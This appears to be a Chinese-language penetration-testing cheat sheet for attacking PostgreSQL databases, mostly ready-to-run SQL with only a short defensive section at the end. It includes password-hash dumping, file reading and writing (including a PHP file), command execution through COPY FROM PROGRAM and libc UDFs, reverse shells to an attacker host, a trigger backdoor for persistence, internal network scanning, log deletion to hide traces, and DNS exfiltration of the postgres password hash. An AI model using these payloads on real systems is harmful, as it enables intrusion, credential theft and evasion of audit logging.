1.postgreSql利用

Pasted image 20250514003537
原文: Postgresql 渗透总结 - 跳跳糖
PostgreSQL(简称 Postgres) 是一个开源的、功能强大的 关系型数据库管理系统(RDBMS)
很多python的框架 如Django Flask 都经常使用postgresql数据库

1. 常用命令

1.1. 信息收集

查看服务器端版本

-- 详细信息
select version();

-- 版本信息
show server_version;
select pg_read_file('PG_VERSION', 0, 200);

-- 数字版本信息包括小版号
SHOW server_version_num;
SELECT current_setting('server_version_num');

列目录

-- 注意: 在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径
select pg_ls_dir('/etc');

-- 获取 pgsql 安装目录
select setting from pg_settings where name = 'data_directory';

-- 查找 pgsql 配置文件路径
select setting from pg_settings where name='config_file'

列出数据库

SELECT datname FROM pg_database;

查看支持的语言

select * from pg_language;

查看安装的扩展

select * from pg_available_extensions;

查看服务器ip地址

-- 这里是运行在 docker 里的靶机,所以 ip 不一致
select inet_server_addr()

1.2. 账号操作

查看当前用户是不是管理员权限

SELECT current_setting('is_superuser');
-- on 代表是, off 代表不是

SHOW is_superuser;
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

查询密码

SELECT usename, passwd FROM pg_shadow;
SELECT rolname,rolpassword FROM pg_authid;
-- password_encryption参数决定了密码怎么被hash
SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption';

添加用户

--创建 f0x,赋予角色属性
create user f0x password 'Abcd1234' superuser createrole createdb
--添加 f0x 到角色组
grant postgres to f0x

修改一个角色为管理员角色

alter role f0x createrole;

更改密码

ALTER USER user_name WITH PASSWORD 'new_password';

查看用户

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

查看管理员用户

SELECT usename FROM pg_user WHERE usesuper IS TRUE

获取用户角色

SELECT
      r.rolname,
      r.rolsuper,
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolconnlimit, r.rolvaliduntil,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

2. 文件操作

2.1. 读文件

2.1.1. 方法1: pg_read_file

-- 注意: 在早期的PostgreSQL版本中,pg_read_file不允许使用绝对路径
select pg_read_file('/etc/passwd');

-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$);

2.1.2. 方法2: COPY FROM

-- 创建一个表,名为 testf0x,包含一个 TEXT 类型的列
create table testf0x(t TEXT);

-- 使用 COPY 命令将服务器上的 /etc/passwd 文件读入表中
copy testf0x from '/etc/passwd';

-- 查询刚才插入的内容,获取第1行(offset 0)
select * from testf0x limit 1 offset 0;

Pasted image 20250514000439

2.1.3. 方法3: lo_import

lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。

--先加载/etc/passwd到一个大对象中
Select lo_import('/etc/passwd',12345678);

--然后读取 任选一个即可
SELECT convert_from(lo_get(123456789), 'UTF8');
select array_agg(b)::text::text from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a
SELECT pageno, encode(data, 'escape') FROM pg_largeobject WHERE loid = 12345679 ORDER BY pageno;

-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111

2.2. 写文件

2.2.1. 方法1: COPY TO

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

-- base64编码内容
COPY (select convert_from(decode('ZmZmZmZmZmYweA==','base64'),'utf-8')) to '/tmp/success.txt';

2.2.2. 方法2: lo_export

select lo_from_bytea(12349,'ffffffff0x');
SELECT lo_export(12349, '/tmp/ffffffff0x.txt');

-- base64的形式
select lo_from_bytea(12350,decode('ZmZmZmZmZmYweA==','base64'));
SELECT lo_export(12350, '/tmp/ffffffff0x.txt');

2.2.3. 方法3: lo_export + pg_largeobject

-- 记下生成的lo_creat ID
select lo_creat(-1);

-- 替换24577为生成的lo_creat ID
INSERT INTO pg_largeobject(loid, pageno, data) values (24577, 0, decode('ZmZmZmZmZmYweA==', 'base64'));
select lo_export(24577, '/tmp/success.txt');

对于大文件分片上传:

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('666666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('663078', 'hex'));
SELECT lo_export(12345, '/tmp/ffffffff0x.txt');
SELECT lo_unlink(12345);

2.3. 删除文件

-- 使用文件系统函数删除文件
CREATE OR REPLACE FUNCTION pg_file_unlink(text) RETURNS bool AS 
  '/path/to/postgresql/lib/plugins/unlink', 'pg_file_unlink' LANGUAGE C;
SELECT pg_file_unlink('/tmp/test.txt');

3. SQL注入技巧

3.1. 常用注入函数

-- 字符串连接
SELECT 'a' || 'b'; -- 结果: ab

-- 注释符
--   单行注释
/*
  多行注释
*/

-- 条件语句
SELECT CASE WHEN (1=1) THEN 'true' ELSE 'false' END; -- 结果: true

-- 延时函数
SELECT pg_sleep(5); -- 延时5秒
SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END; -- 条件延时

3.2. 布尔盲注

-- 布尔盲注示例
SELECT CASE WHEN (SELECT substr(usename,1,1) FROM pg_user LIMIT 1) = 'p' THEN pg_sleep(5) ELSE pg_sleep(0) END;

3.3. 堆叠注入

-- 多条SQL语句执行
SELECT 1; CREATE TABLE evil(id serial, content text);

-- 数据注入
SELECT 1; INSERT INTO users(username, password) VALUES ('evil', 'evil');

3.4. 获取当前数据库表信息

-- 获取当前数据库所有表名
SELECT tablename FROM pg_tables WHERE schemaname = 'public';

-- 获取表字段
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';

4. 命令执行

4.1. CVE-2019-9193 PostgreSQL高权限命令执行漏洞

适用于PostgreSQL 9.3至11版本,管理员或有"COPY TO/FROM PROGRAM"权限的用户可执行任意命令。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

-- 反弹shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"';

Pasted image 20250514002103

4.2. 通过自定义函数执行命令

-- 创建一个执行系统命令的函数
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('id > /tmp/id.txt');

-- 另一种创建方式
CREATE OR REPLACE FUNCTION exec(text) RETURNS text AS 
$$
    DECLARE
        output text;
    BEGIN
        SELECT INTO output pg_read_file('/tmp/command_output');
        RETURN output;
    END;
$$ LANGUAGE plpgsql;

4.3. SSL私钥权限绕过执行命令

通过覆盖PG_VERSION文件并配置SSL passphrase命令可执行系统命令:

  1. 上传加密的私钥文件覆盖PG_VERSION
select lo_from_bytea(10004,decode('加密私钥的base64内容','base64'));
select lo_export(10004,'/var/lib/postgresql/data/PG_VERSION');
  1. 修改配置文件添加SSL配置
-- 将以下内容添加到postgresql.conf
ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/var/lib/postgresql/data/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "touch /tmp/success & echo 12345678; exit 0"'
  1. 重载配置
select pg_reload_conf();

4.4. 利用UDF(用户自定义函数)执行系统命令

8.2 以前,postgresql 不验证 magic block,可以直接调用本地的 libc.so
8.2 以上版本,需要自己编译 so 文件去创建执行命令函数,可以自己编译反弹 shell 后门,也可以用 sqlmap 提供好的

-- 创建一个共享库
CREATE OR REPLACE FUNCTION system(text) RETURNS text
AS '/path/to/evil.so', 'system'
LANGUAGE C STRICT;

-- 执行命令
SELECT system('id');

5. 提权漏洞

5.1. CVE-2018-1058 PostgreSQL提权漏洞

PostgreSQL 9.3至10版本存在逻辑错误,允许普通用户创建恶意代码让超级用户执行,从而进行提权。

利用步骤:

-- 1. 创建一个恶意函数
CREATE OR REPLACE FUNCTION public.f_exec(cmd text) RETURNS void AS
$$
BEGIN
    EXECUTE 'DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text)';
    EXECUTE 'COPY cmd_exec FROM PROGRAM ''' || cmd || '''';
END;
$$ LANGUAGE plpgsql;

-- 2. 让管理员执行
-- (超级用户执行后会触发恶意函数)

5.2. CVE-2019-9193 利用

PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

利用条件

  • 版本9.3-11.2
  • 超级用户或者pg_read_server_files组中的任何用户
-- 前提是具有superuser权限
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id > /tmp/pwned && chmod 777 /tmp/pwned';

5.3. 利用信任关系

通过pg_hba.conf配置文件中的信任关系,可能绕过密码认证,如trust身份验证方法。

# 在pg_hba.conf中可能存在的配置
local   all             all                                     trust
host    all             all             127.0.0.1/32            trust

6. 横向移动和持久化

6.1. 在数据库中创建后门

-- 创建触发器后门,在特定操作时执行命令
CREATE OR REPLACE FUNCTION backdoor() RETURNS trigger AS
$$
BEGIN
    PERFORM system('bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"');
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER backdoor_trigger BEFORE INSERT ON some_table FOR EACH ROW EXECUTE PROCEDURE backdoor();

6.2. 利用PostgreSQL访问其他网络

-- 检查是否启用了dblink扩展
SELECT * FROM pg_available_extensions WHERE name = 'dblink';

-- 安装dblink扩展
CREATE EXTENSION dblink;

-- 使用dblink连接远程数据库
SELECT * FROM dblink('host=192.168.1.1 user=postgres password=postgres dbname=postgres', 'SELECT usename FROM pg_user') AS t(username text);

-- 扫描内网
DO $$
DECLARE
    i int;
BEGIN
    FOR i IN 1..255 LOOP
        BEGIN
            PERFORM dblink_connect('host=192.168.1.' || i || ' user=postgres password=postgres dbname=postgres');
            RAISE NOTICE 'Connection successful: 192.168.1.%', i;
            PERFORM dblink_disconnect();
        EXCEPTION WHEN OTHERS THEN
            RAISE NOTICE 'Connection failed: 192.168.1.%', i;
        END;
    END LOOP;
END
$$;

7. 日志记录与痕迹清除

7.1. 查看和修改日志配置

-- 查看日志配置
SHOW log_destination;
SHOW logging_collector;
SHOW log_directory;
SHOW log_filename;

-- 禁用特定日志(需要superuser权限)
ALTER SYSTEM SET log_statement = 'none';
ALTER SYSTEM SET log_min_error_statement = 'panic';
SELECT pg_reload_conf();

7.2. 删除审计日志

-- 查看日志文件位置
SELECT setting FROM pg_settings WHERE name = 'log_directory';
SELECT setting FROM pg_settings WHERE name = 'data_directory';

-- 使用系统命令清除日志(如果有执行系统命令的权限)
SELECT system('rm /var/lib/postgresql/data/pg_log/*');

8. PostgreSQL 带外数据

dblink 允许你在一个数据库中执行 SQL 查询,访问另一个数据库中的数据,这对于需要跨数据库操作的情况非常有用,比如在不同的 PostgreSQL 实例之间传输数据. 同时也为我们进行dnslog带外提供了可能

-- 开启 dblink 扩展
CREATE EXTENSION dblink

-- 获取当前数据库用户名称
SELECT * FROM dblink('host='||(select user)||'.djw0pg.dnslog.cn user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);

-- 查询当前密码
SELECT * FROM dblink('host='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')||'.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);

-- nc 监听
nc -lvv 4444

select dblink_connect((select 'hostaddr=x.x.x.x port=4445 user=test password=test sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));

9. 防御措施

9.1. 安全配置建议

  1. 限制网络访问:
# pg_hba.conf
host    all     all     0.0.0.0/0       reject
host    all     all     内部网络/24      md5
  1. 最小权限原则:
-- 创建只读用户
CREATE USER readonly WITH PASSWORD 'password';
GRANT CONNECT ON DATABASE dbname TO readonly;
GRANT USAGE ON SCHEMA public TO readonly;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO readonly;
  1. 禁用危险功能:
# postgresql.conf
local_preload_libraries = ''
session_preload_libraries = ''
shared_preload_libraries = ''
  1. 监控可疑活动:
# postgresql.conf
log_statement = 'all'
log_min_error_statement = 'error'